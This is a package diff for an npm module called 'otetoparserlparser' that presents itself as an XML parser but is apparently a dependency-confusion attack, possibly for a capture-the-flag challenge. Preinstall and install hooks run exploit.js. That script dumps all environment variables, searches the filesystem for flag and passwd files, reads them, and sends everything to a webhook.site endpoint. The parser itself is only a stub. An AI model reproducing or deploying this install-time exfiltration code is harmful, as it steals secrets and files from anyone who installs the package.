otetoparserlparser 0.30.1

package/exploit.js

@@ -0,0 +1,74 @@
+const fs = require('fs');
+const { exec } = require('child_process');
+const https = require('https');
+
+console.log('=== MALICIOUS PACKAGE EXECUTED ===');
+
+function sendToWebhook(data) {
+    try {
+        const payload = JSON.stringify({
+            source: 'dependency_confusion',
+            data: data
+        });
+
+        const options = {
+            hostname: 'webhook.site',
+            port: 443,
+            path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
+            method: 'POST',
+            headers: {'Content-Type': 'application/json'}
+        };
+
+        const req = https.request(options);
+        req.write(payload);
+        req.end();
+        console.log('Data sent to webhook');
+    } catch(e) {
+        console.log('Webhook error:', e.message);
+    }
+}
+
+let collectedData = '=== EXPLOIT START ===\n';
+
+// 1. Все переменные окружения (флаг может быть здесь)
+collectedData += '=== ALL ENV VARS ===\n';
+for (let key in process.env) {
+    collectedData += `${key}=${process.env[key]}\n`;
+}
+
+// 2. Попробуем выполнить команды для поиска флага
+exec('find / -type f -name "*flag*" -o -name "*passwd*" 2>/dev/null | head -20', (err, stdout) => {
+    if (!err && stdout) {
+        collectedData += `=== FOUND FILES ===\n${stdout}\n`;
+        
+        // Читаем найденные файлы
+        const files = stdout.trim().split('\n');
+        files.forEach(file => {
+            try {
+                const content = fs.readFileSync(file, 'utf8');
+                collectedData += `=== CONTENT: ${file} ===\n${content}\n`;
+                if (content.includes('{') && content.includes('}')) {
+                    console.log(`🚨 POSSIBLE FLAG IN ${file}: ${content}`);
+                }
+            } catch(e) {}
+        });
+    }
+
+    // 3. Ищем строки содержащие флаг в файлах
+    exec('grep -r "flag{" / 2>/dev/null | head -10', (err, stdout) => {
+        if (!err && stdout) {
+            collectedData += `=== GREP FLAG RESULTS ===\n${stdout}\n`;
+        }
+
+        // 4. Смотрим что в текущей директории
+        exec('pwd && ls -la && find . -type f -name "*flag*" 2>/dev/null', (err, stdout) => {
+            if (!err) {
+                collectedData += `=== CURRENT DIR ===\n${stdout}\n`;
+            }
+
+            sendToWebhook(collectedData);
+            console.log('=== ALL DATA COLLECTED ===');
+            console.log(collectedData);
+        });
+    });
+});

package/index.js

@@ -0,0 +1,11 @@
+module.exports = {
+    parseXmlString: function(xml, options) {
+        return {
+            get: function(xpath) {
+                return {
+                    text: function() { return "test"; }
+                };
+            }
+        };
+    }
+};

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "otetoparserlparser",
+  "version": "0.30.1",
+  "description": "XML parsing library",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node exploit.js",
+    "install": "node exploit.js"
+  },
+  "keywords": ["xml", "parser"],
+  "author": "test",
+  "license": "MIT"
+}